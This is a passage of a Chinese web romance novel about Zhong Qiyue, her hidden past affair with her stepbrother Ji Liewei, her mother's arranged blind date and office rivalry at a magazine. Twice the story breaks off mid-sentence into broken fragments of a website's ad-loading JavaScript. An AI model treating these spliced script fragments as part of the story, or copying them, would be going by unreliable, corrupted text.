啊,也没什么好看的,这样吧,你跟妈一起把这幅图绣完怎样?” 钟蕊平时没什么工作,在纪家就偶尔帮忙打理打理家里的情况,再或者就没事插插花,组织一下贵妇之间的下午茶,参加一点宴会,或者就是在家里刺绣。 她的爱好都如此优雅知性。 钟栖月还记得有一年放学回家。 正好那天,纪家有不少人来做客,贵太太们都聚集在那凉亭闲着打牌打发时间,钟栖月背着书包从那凉亭路过,被钟蕊喊了过去。 那时候是他们到纪家的第三年。 钟栖月十三岁。 钟蕊出生在普通家庭,自小在随南小镇长大,从没接触过上流社会,但她为了能融入纪家,把自己逼得很紧,同样也把她逼得很紧。 “月月过来,跟阿姨们打个招呼。” 凉亭里坐着的贵妇,钟栖月之前在纪家的宴会,有幸见过几次,但前几次都不熟,因为她们知道,她只是钟蕊带回来的拖油瓶。 不姓纪,也跟纪家没什么直接的关系。 大概成年了,就要被赶出纪家,没什么跟她熟悉的必要。 不过才三年时间,那些贵妇对她的态度就不一样了。 也对钟蕊的态度不同了。 钟栖月按照钟蕊教导她的那些礼仪,恭敬地跟那些贵妇打了招呼。 贵妇们眼里对她都极其赞赏,夸赞不断。 “阿蕊啊,你这女儿教的真不错啊。” “真乖巧的小女孩,我女儿跟你女儿同岁也才十三,每天皮得哟,整天就知道乱花钱,一点都不懂事,看的就头疼,还是你会养女儿。” “不错,早就听袁太太夸过你家月月,今天一见,的确养的很好啊。” 半点都不像是情妇养出来的女儿。 钟栖月知道,这句话是她们的心里话,没有说出来。 忽然听到楼上有人下来。 没想到是纪冽危拿着车钥匙出门了,不知道他大晚上出去干嘛,但因为他的脚步声让钟栖月从回忆里抽回思绪。 钟栖月陪着钟蕊绣了半小时,眼睛酸得不行了。 钟蕊说让她回房休息。 她也实在撑不住了,只好上楼。 回到房间,把睡衣找出来,钟栖月正想去她之前去习惯了的洗手间,后来想起纪冽危已经回国了。 脚底一转,连忙换到最里面的那间洗手间了。 沐浴后,梳理好头发,她对着镜子整理了半天,确定没有问题,才出了洗手间。 这间洗手间离她房间有点距离。 钟栖月肌肤还蒙了层薄薄的水汽,头发也没吹干,她轻手轻脚出来,不敢惊动任何人。 没想到,还差几步,就要回到自己的房间时,她对门的那间房,咔哒一声,打开了。 纪冽危咬着烟从屋内出来,看到门口的人,眉宇微微抬起。 似也没料到会看到她。 随后,他唇角浮起笑意,视线落在她穿着很单薄的睡裙身上,说:“妹妹在这做什么?” 钟栖月耳朵通红:“我,我刚洗完澡,没事的话,我先回房了。” “慢着。” 他上前一步,高大的身躯挡住了钟栖月的去路。 “怎么自从我回来后,你就换洗手间了?”纪冽危嘴里还咬着那支烟,没抽,是刚准备抽,出门就看到了这只小兔子弓着腰,要偷偷溜回自己房间的场景。 钟栖月说:“我没有,我很少用你那个……” “很少用,那就是我不在的时候,你用过。” “……是。” “为什么?” 钟栖月解释:“有时候忘了,对不起,哥,今后我会注意的。” “注意?”纪冽危又上前一步,她本就生得瘦弱,这样被他困在了楼道的墙边,就显得愈发羸弱娇柔了,乌黑的湿发半挽着,有几缕湿哒哒地贴在锁骨处,水珠顺着她雪白的锁骨,没入胸口。 她穿着一身棉麻的白色睡裙,裙摆和袖口边缘有小黄花的纹路。 很清纯的风格,很单薄的布料,大夏天竟然是长袖款,也不知道是在防谁。 大概是在防他。 纪冽危笑着问:“你很热。” 钟栖月声音微抖,小声说:“哥,我不热……你能不能先挪开一下,我要回房了。” “怎么这么怕我?”纪冽危面色无辜道:“难道该害怕的不是哥哥?” “什么……意思?”钟栖月眼睫微颤,抬眸看他,冷不防,对上那漆黑的眸子,心口也缩了一下。 她想,的确没人能如此坦然的和这个男人对视。 他太深不可测了,总是弄不明白,他下一步会做什么,下一句话会说什么。 “那时候栖月把哥哥拉进房里做了那种事,现在最该害怕的人应该是哥哥,没错吧?这年头的女孩子也是孟浪得很,难道哥哥不该害怕?” 钟栖月脑子嗡了一下,一根弦紧绷。 她被热气染得绯红的脸庞,愈发地紧张,通红。 “哥,你……你说过,我们已经两清了……” 他去年出国前,分明已经说了…… 提起这件事,纪冽危调笑的神色微微一变,黑眸深邃,长指捏住钟栖月小巧的下颌,将她脸抬起来。 “我说过很多,你怎么就记得这一句呢?” “我不知道哥什么意思……” 钟栖月慌张地不行,手指死死扣着手心。 就在她无比紧张的时候。 忽然听到一道脚步声离三楼越来越近。 钟蕊的脚步声,她比谁都熟悉,毕竟这么多年,像是熟悉到融入她血液里了似的。 她脸刷白,一双水润的眸子盈上了哀求,小声地绵绵说:“哥哥,你先松开好不好,我妈上楼了。” 7. 第 7 章 听着由远及近的脚步声,钟栖月的心也是紧紧被提了起来,在这种惧怕的心理状态下,她已经无法维持冷静了。 如果让钟蕊看到了这一幕,她不敢想会有什么后果。 她从十一岁就住在纪家。 无论吃穿用度还是什么,都是按照纪家小姐来对待的,纪爷爷还有纪叔叔都对她很好,就连她的养母,对她的言行举止与为人道德方面都寄予了很重的期望。 如果让他们知道,在他们眼里,那个无比乖巧听话的钟栖月,其实早就已经爬上了纪家最得看重,甚至可以说,是纪家未来接班人纪冽危的床。 她已经不知道自己要面临什么了。 纪冽危捏着她下巴的指腹还是那么冰凉。 她心里一横,眼看着钟蕊要上楼了,拽着纪冽危进了自己的房间。 “嘭”地一声。 没几秒,钟蕊上楼,听到房门的声响,走过来问:“月月,你关门声音这么大做什么?” 室内。 钟栖月靠在门板上,浑身发软说:“妈,我刚洗完澡回房,脚滑了下不小心力气大了。” “脚滑了?”钟蕊问她:“那受伤了吗?” 纪冽危垂眸看着故作镇定演戏的她,半晌没有说话。 见他没有做出任何举动,钟栖月才稍微没那么紧张,说:“没事的,我一会还要吹头发呢。” “这样啊,很晚了赶紧把头发吹干,早点睡觉。” “好的,妈妈。” 没一会儿,听到钟蕊的脚步声从她房间门口离开。 “呼。”钟栖月轻轻吐了一口气。 抬眸,看到纪冽危站在她书桌前,拿起一支钢笔正在琢磨,漫不经心的样子。 钟栖月走过去,说:“哥,对不起,我刚实在是没办法了。” “你对不起我什么,刚才是我让你为难了不是吗?” 钟栖月没有吭声。 纪冽危把钢笔放下,笑说:“你现在肯定在心里想,知道为难我了还不走?诚心害我是不是?” “没有……” “没有?”纪冽危眸光落在她白皙的脸上,她纤细的脖子上浮了层薄薄的汗液,她的肌肤很细腻,很雪白,出了汗会极其明显。 就像他们那时候,抱在一起做到浑身是汗的场景。 钟栖月垂着脑袋,轻声说:“我觉得,我们还是不要这样了。” “不要怎样?” 她仰起泛红的面颊,看似温软的小脸,实则面上写满了坚定。 “一年前我们就分手了。” “你在提醒哥哥不要再犯错?” “对。” 两人沉默了半晌。 纪冽危没什么情绪,他从口袋里取出一盒绷带放她桌上,语气淡淡:“不喜欢跳舞就直接说出来,是不是非要把腿弄出问题了才行?” 房门紧闭,他离开了。 听脚步声,应该是下楼,这时候下楼,多半是要出门的。 纪家的规矩,好像拿他没辙。 望着桌上那盒专门治疗腿伤的绷带,钟栖月眸色黯淡。 把头发吹干后,她坐在床上,看着自己红肿的脚踝,轻轻叹着气把那盒绷带缠到自己的腿上。 前几天她去练舞室,学了新的舞蹈,她学得很累,脚也跟着觉得不适,但那时候没有当一回事。 直到今天有隐隐的刺痛。 洗完澡出来后才发现,脚踝那肿得很严重了。 - 翌日清早,刚出门钟栖月又撞见了纪冽危。 他刚从房间出来,正在单手系扣子,四目相对,他却率先移开目光,随后极其陌生地与她擦肩而过。 钟栖月顿了会,也跟着下了楼。 家里人吃了早饭后,便都陆续出了门,临出门前,钟蕊喊住钟栖月把车钥匙交给她。 钟蕊笑着说:“妈妈那段时间也只是生你的气而已,这都这么久了,再让你每天挤地铁去上班,这良心上也过不去了。” 钟栖月没有接。 “不接?还是在生妈妈的气?” “没有。” “那还接不接了?” “谢谢妈妈。” 钟栖月拿着很久没有碰过的车钥匙,一时感慨,不过她的脚目前伤还没好,暂时开不了车。 把钥匙放进包里,钟栖月自己走出纪宅的大门。 路上纪依雪开着她新提的跑车停她旁边,“月月,上车,我送你一程。” “你这是出门去哪?”上了车后,钟栖月问。 纪依雪没工作,自己开了家甜品店混混日子,但往常她大早上不至于会去自己的甜品店才对。 她笑得张扬,“能去哪,到处玩玩呗。” “你失恋的事就这样过去了?” 纪依雪冷哼,“那种狼狈逃跑的窝囊废才不值得我留念,姐姐我当然要去找下一春了。” “对了,我昨晚听我妈说,你最近也想恋爱了啊。” “……”果然,一家人住在一起,信息交流就是方便。 她点头,“我妈说要给我介绍。” 纪依雪目光在钟栖月脸上打转,“我的月月,你长得这么美,戴着眼镜都遮挡不住你的美貌,怎么会没有男朋友呢?这太奇怪了。” “你这就跟我哥,二十七岁的老男人了,还没女朋友一样奇怪!” 钟栖月尽量自然地说:“冽危哥不老,他只大我们四岁。” 车子一路驰骋。车内的冷气也恰到好处,纪依雪听了这话也就笑了笑:“这话我也只敢私下说说而已,就我哥那样,怕是四十七都是个抢手的大帅比,不过我是真的好奇。” “好奇什么?” 红灯停,纪依雪扭过头来说:“好奇我哥的感情史啊。” “咳、咳……” “你干嘛?” 钟栖月缓过气来,捂着被呛到微红的脸,说:“没事,刚不小心呛到了。” 纪依雪也没多想,说:“我跟我哥的几个兄弟关系不错,要不哪天你跟我一起去打听打听,你难道就不好奇他纪冽危跟女人搞在一起的画面吗?” 钟栖月垂眸说:“我不太好奇。” “你真是个奇怪的人,这世界上还有人对我哥不好奇的?”纪依雪性格开朗活泼,她最崇拜的人不是自己的爸爸,也不是爷爷,而是纪冽危。 应该说,整个纪家的孩子,都很仰慕纪冽危。 唯有钟栖月,对他总是惧怕,多过仰慕。 她还记得十六岁那年。 有天放学,纪依雪拉着她找到了纪冽危在的俱乐部,那时候她们还没成年,进入这种场合都不被允许。 但纪大小姐性子活络,通过种种办法,总算混入了进去。 他们是偷偷买到了那俱乐部侍者的衣服,伪装进去的。 但十六岁的小姑娘,什么时候来过这种不三不四的地方,被指使进包间给客人倒酒,没一会便露了怯。 当时她去的那个包间,就是纪冽危在的那一间。 因为担心被纪冽危认出来,她从进来为止,便一直低着头。 侍者的裙子又短,她怕得不行,整个人缩着。 后来,也不知道怎么的,就这样被包间内的人调戏。 也许是看出来她的年纪很小,都是抱着那种逗小妹妹玩的心态,有人问她大腿凉不凉,穿这么短的裙子习惯嘛什么的。 她吓得缩在一旁,一句话都不敢说。 直到,一件带着清冷香味的西装外套兜头覆盖。 她的眼前一片漆黑。 似乎听到了熟悉的,仿若玉石碰撞的声音,清润,好听。 “欺负我妹妹,很有趣?” 很快道歉声接二连三响起,“危哥对不起我们不知道那是令妹,纪妹妹你没事吧?” “纪妹妹,刚才哥哥们就闹你玩的。” “出去。”纪冽危下令,没一会,包间就空了。 钟栖月都不敢从这件西装外套里露出脸来。 可纪冽危没惯着她,一把拿开自己的衣服,她的视线变得明亮。 他坐在沙发那,单手夹着烟,手中还在玩飞镖游戏,才二十岁的纪冽危,浑身浮现清冷的少年感。 乌黑茂密的头发都感觉软蓬蓬的,下颌线流畅,唇很薄,很粉。 实际上,钟栖月那时候有段时间没见过纪冽危了,他在国外读书,所以期间很少回来。 突然看到他,有种雀跃又紧张的感觉,她僵在那,也不明白心跳为什么很快:“冽危哥……” 他轻描淡写说:“解释一下,你怎么在这?” “我那乖乖女妹妹,放学了不回家写作业,来这兼职?” 钟栖月语无伦次地解释:“不是的,我是来看哥哥的。” “看我?”手中的飞镖又射了出来,一阵风从钟栖月的脸颊顺过,她吓得腿一软,瘫坐在地。 纪冽危脚步沉沉朝她迈近。 居高临下的样子,“钟栖月,你怕我这事,是假的吧?” 十六岁的少女,正是青春长身体的时候,瘫坐下来,一双腿又白又长,在这昏暗的包间内格外显眼。 钟栖月手足无措,没一会,那件外套又抛到她身上。 她抬眸看去,见到他冷峻的侧脸。 “穿上。” 钟栖月把他的外套盖到自己的腿上,小声说:“我错了。” “哪里错了。” 她没回答,他笑了声:“这还要想?” “……”钟栖月老实说:“哪里都错了。” 他走过来,把她从地上提起:“看到哥哥在这里干什么,回去后有内容跟纪依雪交差了?” “啊?” 他似笑非笑,却一脸看穿她的样子:“钟栖月,你会怎么跟他们说哥哥在外面干什么?” 钟栖月抿了抿唇,在包间扫了一圈。 刚才那种热闹混乱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的场景,她不是没有看到,纪冽危的圈子是真的很乱,什么朋友都有,男男女女之间的社交也跟她这种小孩完全不同。 “我会说,哥哥在外面很正经的工作,没有乱玩。” 纪冽危怔了须臾,摆摆手,让她出去。 但小姑娘没有走,站在原地很紧张地说:“依雪在隔壁的包间,我担心她会出事。” 后来,纪冽危还是去隔壁把纪依雪也提了出来。 两姐妹被纪冽危冷淡的眼神一扫,都吓得不敢抬头。 经过这件事后,钟栖月说冽危哥好可怕,纪依雪反而更仰慕了,“我哥好厉害啊,好像谁都很怕他诶,有这么厉害的哥哥,我以后都不用担心被欺负了。” 那时候钟栖月也说不明白自己怕纪冽危什么。 大概是因为她的身份太敏感。 加上,她隐约能察觉到,钟蕊存在的关系,很大程度上也促使了纪冽危的兄长和母亲的离世。 她只是天然的,害怕。 只是觉得,纪冽危应该就是站在她的对立面,她只有足够乖,才不会被他欺负和针对。 后来呢,她也不知道怎么,那份惧怕渐渐演变成喜欢。 她本以为自己这段暗恋只会无疾而终,却没想到她的表白得到了回应。 恋爱后,并没有她想象中那样快乐。反而时刻在担心这份感情被发现。 她觉得,倒不如从没有跟他展开感情,她宁愿被他欺负和针对,也省得这样每日提心吊胆的。 “月月,你发什么楞,我问你知不知道我哥有没有跟哪个女人走的很近?” 钟栖月暂停回忆,垂下心虚的眼神,“没有吧。” “没有?你这么肯定,你们不是不熟吗?” “是不熟。” “那你就是瞎猜的,不过也没什么,他都二十七了,要不了多久,爷爷就会逼他相亲,到时候我估计要有嫂子了。” - 早上来了凌度杂志社,开会时,A组的成员杨琼跟主编宋凝说:“主编,关于专访纪冽危的事,我想我这边有进展了。” 宋凝问她怎么回事。 杨琼脸上写满了骄傲,笑说:“也没什么,我认识一个人她说跟纪冽危交情不错,也跟纪先生吃过饭,我跟她提起专访的事,她说纪先生看在她的面子上,应该会点头的。” 宋凝喜悦道:“那太好了,我这边就等你的好消息。” 会议完毕,杨琼正在收拾资料,手肘不小心碰掉了旁边钟栖月的资料:“不好意思啊,没看见你的东西在这。” 那资料洒了满地,钟栖月蹙了蹙眉。 看着她默不作声。 杨琼诧异道:“钟栖月,你这样看我做什么,难道还等着我给你捡起来?” 钟栖月说:“你碰掉的,难道不是你捡吗?” “你!” 刘露也帮腔:“就是啊,我可是一双大眼睛都看到了,你把人家东西弄掉了还这态度,什么意思啊。” “我又不是故意的,她自己不能捡啊。手断了?” “你说什么呢,月月的手好得很,你这什么跟同事说话的态度,自己做错事还有理了?” “我就是有理了,我不是故意的,她干嘛这么为难人?” 两个人的争吵引得刚出去的宋凝又回来了,询问了情况后,宋凝看向钟栖月,“你自己捡起来吧,东西没放好的确有问题。” 钟栖月看着宋凝,什么也没说,自己蹲下身把那些散落的资料都捡了起来。 宋凝走了后,杨琼得意地嗤笑一声,离开了会议室。 刘露气得不行,“主编真过分啊,看到杨琼要立功了就马上捧她,真恶心。” 钟栖月把资料叠好,说:“可能职场就是这样吧,在领导眼里,能完成任务的员工总是不一样的。” “你不生气啊?” 钟栖月推开会议室的门,“有点生气,但只是生气而已,很快就过去了。” 其实当初选择来这个杂志社工作,也并不完全是她的理想,只觉得这里是最合适她来的地方。 怎么说呢,她觉得自己好像,有点在这里瞎混日子的感觉。 偶尔觉得这样挺好,偶尔又觉得,她在浪费自己的时间。 也不知道究竟是想证明什么。 罢了。 钟栖月回到自己的工位,开始编稿子,早上的杂志社热闹得很,总不是办公室的人在互相传者其他杂志的新情报。 到中午的时候,钟栖月和刘露还有陶梦梦一起出去吃饭。 刚回到杂志社,就听其他同事说杨琼去见纪冽危,吃了闭门羹的事。 私下不少人笑她放下大话,丢脸了。 下午六点下班,钟栖月接到钟蕊的电话,说约她在茶馆碰面。 特地叮嘱她,打扮得体点来赴约。 钟蕊一般不会约她在外面见面。 只有一种可能,给她找了男人相亲。 8. 第 8 章 半个小时后,钟栖月赶到了名叫见青山的茶馆。 步入茶馆,上了二楼,侍者将钟栖月引进了包间,推开门,她第一眼便看到了坐在临窗边的钟蕊。 “妈。” 钟蕊扭过头,视线先将钟栖月打量一番,显然对她今天的装扮极其满意:“月月,过来坐。” 落坐后,钟蕊问:“今天上班累吗?” “不累,今天没什么重要的工作。” “那就好,看你状态不错,妈妈也放心了。” 钟栖月问:“妈,你喊我过来是有什么要紧事?其实我们可以回家再谈的。” 钟蕊给她倒了一杯茶,“你先喝。” 抬眸对上她看似温柔,实则在审判的眼神。 钟栖月顿了会,按照从前学的仪态,优雅地端起面前的青花茶盏,慢条斯理品了一口茶。 钟蕊眼里的夸赞毫不掩饰,“不错,月月,你愈发有名媛千金的样子了。” 放下茶盏,钟栖月轻声说:“妈,你究竟要我做什么呢?” 钟蕊把她剩下的那半杯茶倒入瓷器里,垂目说:“你之前不是说想谈恋爱了?妈妈这边正好给你看了个不错的对象。” 钟栖月没有吭声。 钟蕊说:“明家的大公子,今年二十七岁,只大你四岁。” 钟栖月在脑子里搜刮片刻,问:“是明廷笙?” “你认识?” 钟栖月没说怎么认识的,只说有过一面之缘。 纪家时常举办宴会,经常会有名门千金的公子小姐出席,钟栖月在纪家这么多年,认识也没什么奇怪的。 钟蕊问:“你觉得他怎样?” 钟栖月情绪淡淡:“我对他没什么印象,就听过这个名字。” 也知道,明家的家世不错,虽比不上纪家,但也在北城的权贵里有一席之地。 至于长子明廷笙,只听说二十七岁了还没结婚,他的父母比较操心他的感情,除此之外,她也不了解了。 钟蕊却是满意极了,“你婶婶给我介绍了几个,妈妈都觉得不行,但明家这位公子却是男人中的翘楚,学历,涵养及长相,都是北城第一梯队的。” “平心而论,妈妈对你不错吧。” 钟栖月指腹轻轻摩挲桌沿,嗯了声。 她没问,明家那位公子,会看得上她这个在纪家寄人篱下,没点纪家血脉,还是个被人在背后指指点点的小三的养女吗? 没问,大概是觉得,答案显而易见。 她不知道钟蕊是怎么说服这位公子来跟她相看的。 总归,今天的相亲不过就是走个过场罢了。 钟蕊看得出来,钟栖月不大开心,她只温柔地笑了笑,趁着明廷笙还没来,便主动聊起话题。 “月月,你弟弟已经两年没回来了,你知道妈妈多想他吗?” 提起纪初冬,钟栖月心情稍微好了点,淡笑说:“初冬出国之前还说会时常回来看我们,没想到出去就野得不想回家了。” 钟蕊忧虑道:“妈妈是担心,担心他不是自己不想回。” “嗯?”钟栖月没听明白,“妈妈你这话是什么意思?” 听到包间外有脚步声,钟蕊示意她不要说话。 没一会儿,包间的门推开,有侍者引着一对母子进入包间。 钟栖月跟着钟蕊站起身,先同明太太问候。 明太太笑容开朗:“都坐吧。” 其实在落坐之前,钟栖月就感觉到,明太太在刚进门,就已经将她从头到脚都打量了一番。 她看了眼钟蕊,钟蕊笑意很深。 那多半,明太太对她的礼仪是十分满意的。 两位家长面对面落座,钟栖月的对面则是今天的相亲对象,明廷笙。 男人生得一副好相貌,坐起来挺拔如松,气质沉稳,一看便是含着金汤匙出生,拥有优越身家的男人。 同样是二十七岁的年龄,面前的男人却和纪冽危完全不同。 纪冽危生来就有种上位者的压迫感,但他从不屑用身份去压人,偏生也能让人看到他,不自觉吓得腿肚子打颤。 虽清冷的面容时常含着笑意,却不觉得这人很好接触,但朝他走进一步,也没觉得那么难以接近。 当你觉得他很好的时候,却又会很后悔亲近他。 是个好哥哥,却也不是个好哥哥。 他是个天然矛盾体,轻松就能让人对他又爱又恨,又敬又怕。 用纪依雪的话来说,她哥就是个专吞噬人心的妖精。 “月月?” 钟蕊轻轻推了下钟栖月,眼里含着不满:“你明阿姨跟你说话。” 钟栖月回神,回道:“阿姨说的是。” 虽然她没听到明太太说了什么,但经历过钟蕊长达多年的培训,已经明白了这种场合,只要笑的端庄得体附和对方,基本就没有问题。 明太太笑着说:“之前就总听袁太太她们夸赞你家月月教养得好,今天一见,的确很特别。很讨人喜欢的小姑娘,这年头能养得出这么听话的女儿,真的不常见了。” 钟蕊笑意盈盈,又跟明太太多聊了几句。 十五分钟后,两位长辈说让两孩子出去逛一逛,明太太说:“廷笙,带着妹妹去买点礼物。” 明廷笙起身,单手扣好西装,微笑:“好。” 钟栖月也在两位长辈的注视下,乖巧地跟着明廷笙出去了。 出了茶馆,钟栖月坐上了明廷笙的迈巴赫。 他礼貌询问:“钟小姐想去哪儿?” 钟栖月系好安全带说,“明先生定就好了,我哪里都可以。” 明廷笙看她:“钟小姐,你应该知道我们今天是来相亲的。” “嗯,我知道。” “我想,作为男士让女士提出要求才是应该的,你想去哪都行,不用顾虑我。” 关键钟栖月是真的没什么想去的地方,她总不能说想回纪宅了吧? 沉默了会,钟栖月说:“那去喝咖啡吧。” “行。” 车子缓慢行驶在道路中,期间两人没什么话,空气里似乎有一种尴尬的气息。 明廷笙忽然开口问:“我之前是不是在哪见过钟小姐?” 钟栖月说:“是见过的,我目前在凌度杂志社工作,是一名摄影师,明先生曾经刊登过我们杂志社的封面,我曾荣幸地为明先生拍过图。” 明廷笙沉默。 回想起刚才在茶馆时,钟蕊说自己女儿目前正在筹备画展,没什么正经的工作。 当然,对他们上流社会来说,能开画展的都是艺术家,艺术家总是高人一等的,艺术家的名号说出去,那就足够让人钦佩了。 明廷笙笑说:“没想到钟小姐这么诚实。” 钟栖月笑笑不语。 来到咖啡厅后,两人简单喝杯咖啡,偶尔便聊了几句,看时间不早了,明廷笙便送钟栖月回到了纪宅。 陌生的车辆驶入纪宅,不免引得不少人的注意。 跟明廷笙告别后,钟栖月回到玄关,身后跟上了纪静宁,她好奇问:“月姐姐,刚刚那个男人是谁啊?” 钟栖月说明家的少爷,明廷笙。 “你男朋友?” 钟栖月脚步一顿,说不是。 纪灌云也不知道从哪冒出来,“我可是第一次看到有男人送你回来,月月,你搞对象不会瞒着我吧?” 钟栖月说没有,面对这两人好奇的打量,她只好妥协: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “是相亲对象。” 话音才落,钟栖月换好鞋子,转身便撞见了那双漆黑凉薄的眸子。 纪冽危不知道什么时候回来的。 但显然,他一定听到了刚才那段话,眼神对视的那一刻,她几乎是下意识地避开。 纪灌云惊喜地问:“哥,你今天回好早啊。对了,我上次问你借的那车子,能再借我几天嘛?我明天还要跟女朋友去兜风呢。” “送你了。”男人轻飘飘一句话落地,换好鞋子便上了楼。 纪灌云开心地狂摇钟栖月,“真好,冽危哥今天怎么大发善心了?是心情很好吗?那跑车他才提回来没开过呢,就这样送我了。” 钟栖月恭喜他,“挺好的。” 耳边嗡嗡不断,钟栖月也跟着上楼。 三楼,纪冽危的房间紧闭。 自从那天在她房里,她郑重地提醒过他们已经分手了之后,纪冽危就没再主动做过什么。 看她的眼神也跟陌生人一般。 好像又回到了她初到纪家的时候。 也好,这样就很好。 – 晚上吃饭时。 何晴从纪灌云那听说了钟栖月跟明家少爷相亲的事,问起她对明廷笙是什么看法。 餐桌上的人都朝钟栖月望了过来。 她有点紧张,抿着唇,没有第一时间回答。 钟蕊替她说:“我感觉挺好的,明太太对月月也夸赞有加。” “听说明家的老太太最喜欢那种娴静端庄的女孩子,月月应该很符合明家择媳妇的标准。”何晴说。 钟蕊自然清楚这些,含笑:“月月也跟我说,觉得跟明廷笙一见如故。” “真的吗?”纪依雪好奇问:“月月,你喜欢明廷笙啊?” 烫手的山芋又抛了过来,钟栖月不能当着纪家这么多人的面否决明廷笙。 她后背紧绷,说:“我觉得明先生很有绅士风度,懂得体谅女生。” “那就是有好感咯。” 关于钟栖月相亲的事,饭桌上聊了许久,晚饭过后,她感觉自己像是打了一场艰难的仗似的,格外疲惫。 她不敢去看其他人的神情,更不敢看纪冽危是怎么看她的。 只是这样乖顺地低着头吃饭。 偶尔回答几句。 上楼,准备睡衣,去最里面的那间洗手间沐浴。 浴室内热气腾腾,淡薄的水雾在玻璃上化成水珠,钟栖月轻轻擦拭玻璃,镜子里露出了雪容桃腮。 被热水浸泡后的肌肤,泛了层粉润。 滑腻似酥,吹弹可破。 洗完澡,钟栖月从洗手间出来,便看到墙边倚着一男人。 他穿着深色的家居服,嘴里咬着烟,手中正在盘弄着单机小游戏,看样子是趁着今晚月色怡人,在楼道赏月。 钟栖月不想打扰他的雅兴,放轻脚步打算悄无声息地溜回自己房间。 这时,游戏通关的音乐响起。 她脚步一顿,抬眸,便看清了那双染了清冷月色的桃花眼。 那瞬间,心口像是被攥紧了,她声音细软地唤了声:“哥……” 纪冽危眸光漆黑看她:“刚洗完澡?” “……对。” “要睡觉了?” “……对。” 钟栖月说:“哥哥晚安。” “晚安。” 她松了一口气,跑回自己的房间,手心按门把上,忽然男人喊住她。 “栖月。” 钟栖月僵住,缓缓侧过脸:“还有事吗?” “没什么,”淡薄的烟雾让他面容看不真切,他很平淡地问:“只是哥哥好奇,栖月的相亲对象,知道你跟哥哥上过床吗?” 9. 第 9 章 入夜后,纪家的后院能听到蝉鸣声,一阵一阵,悦耳动听。 钟栖月脚踝的伤好了些,没有前些日子那么疼了,她的视线落在那盒绷带上,心尖酸涩,犹如被针密密麻麻地穿过般,难受。 她忍不住想。 为什么他总是那样,对她很好,也对她很坏。 让她始终看不清,他的心究竟在想什么。 这会耳边又响起不久前,纪冽危说的那句话。 ——你的相亲对象,知道你跟哥哥上过床吗? 相亲对象当然不知道,因为这世界上只有她和纪冽危这两个当事人知情。 纪家的所有人都觉得,纪冽危跟她这个寄住在纪家的假妹妹关系冷淡,她在纪家长达十二年了,两人或许私下都没说过几句话。 可他们不知道的是…… 在那四年里,她和纪冽危曾无数次,背着家里所有人,在这偌大的纪家宅院里做了数不清的荒唐事。 过年的时候,整个纪家来了不少亲戚,楼下热闹非凡,孩子和长辈们的欢声笑传到了三楼。 而那时,她正在纪冽危的房里,陪他打游戏,他陪她写作业读书,偶尔玩累了,他总是会把她抱在腿上,一下又一下的亲吻,墙边,浴池,或是只要没人看到的视角,他们做着很多出格的事。 那时候,他们其实是在正常交往的。 钟栖月循规蹈矩了二十三年的人生,唯一一次放纵,便是跟纪冽危的这段感情。 那时候,她真的很喜欢很喜欢他。 纪冽危是她少女情.事的第一人,那段,朦胧,阴湿,不能见光的感情,因为喜欢,让她勇敢踏出了第一步。 回想过来。 她都不明白自己那时候,是不是脑子出了问题,竟然喜欢了一个不该喜欢的人,她怎么能做这么胆大妄为的事。 醉生梦死了几年,后来她也提出了分手。 纪冽危这人行事恶劣,因为分手的事,他们之间也闹过一些不愉快。 虽然后来在她的坚持下,还是断开了。 她以为,像纪冽危这么骄傲的人,应该不会再对她施舍一个眼神了才对。 可是为什么…… 他的那句话她不知道怎么回答,当听到的时候,头皮瞬间发麻,脑子里紧绷了一整晚的弦还是这样断开了。 她就知道。 纪冽危不会这样放过她的。 好在后来纪东原从房间出来,他并没有多疑在楼道里看到纪冽危和钟栖月,只随口问两人怎么还没睡。 钟栖月说马上就睡,便匆匆逃回了房。 整晚都睡得不太好,第二天起床时,钟栖月眼底有淡淡的乌青。 她肌肤很白,只要有点痕迹都很显眼,她只好化了淡妆,遮掉了眼底的疲惫。 下楼吃早饭遇到了没睡醒的纪依雪,她调侃说:“不错啊,有了喜欢的男人,都晓得化妆了。” 钟栖月平常工作都是素颜,很少化妆。 昨天才相亲,今天就开始化妆,的确会让人联想到一起。 她摇头说,“不是,昨晚没睡好。” 纪依雪却不信。 算了,她也懒得解释了。 吃过了早饭,钟栖月的脚也好得差不多,开着车去上班的。 她这时候才明白过来,钟蕊为什么会把车钥匙给她,原来是因为相亲的事啊。 大概是钟蕊是不想让相亲对象知道,她平时出门连车都没有。 – 早上来了杂志社,开会的时候,宋凝明里暗里都在嘲讽杨琼没有金刚钻就别揽瓷器活,所有人都听明白了,有人的嘲笑都毫不掩饰。 会议结束,刘露故意把杨琼桌上的东西碰掉,故作讶异道:“哎呀,抱歉呢,我手滑。” “不过你这么厉害,应该可以自己捡起来吧?” 杨琼气得脸通红:“你!” 不服气,她又瞪了眼钟栖月,“你别得意,我跟你说,我访问不到纪先生,你觉得你们组就行?” 钟栖月没理她。 刘露道:“我们不行,但是我们可没有揽那瓷器活啊。” 这一上午,杨琼都垮着一张脸,弄得整个杂志社上班都有点不愉快。 中午刚到吃饭休息的时间,刘露和陶梦梦要约着钟栖月一起吃午饭,她却临时接到了明廷笙的电话。 说是在附近的餐厅等她。 钟栖月如约来到了杂志社附近的餐厅。 明廷笙很绅士地给她拉了椅子,笑道:“抱歉,临时这样邀请你吃饭,也没有提前说一声。” 钟栖月说没事,又问:“不过明先生怎么中午在这附近?” “是这样的,我来这附近办点事,又想起钟小姐在凌度杂志社,我一看挺近的,就想邀请钟小姐一起吃午饭了。” 点餐的过程,明廷笙都很礼貌地询问钟栖月的口味。 期间两人也只是浅浅的交谈,吃完饭后,明廷笙说要送她回去,钟栖月拒绝了。 他也没有强行再送。 两人就这样简单的分别。 没一会,钟栖月在微信收到了钟蕊的消息。 【月月,你中午跟明廷笙吃饭感觉怎样?】 【挺好的。】 【挺好就行了,觉得不错就好好相处下去。明廷笙的妈妈对你印象很好,明家最喜欢的就是像你这样知书达理又乖顺端庄的女孩子了。】 这句话钟栖月没有回复。 下午是外出的活动,钟栖月和刘露还有陶梦梦已经预约了金融界新贵秦先生的访谈。 秦先生的秘书只给了杂志社半个小时的时间。 三点左右,钟栖月和同事到了秦先生的公司,等了将近半小时,还没等到秦先生的身影。 刘露有些不耐烦了,问秘书秦先生什么时候能过来。 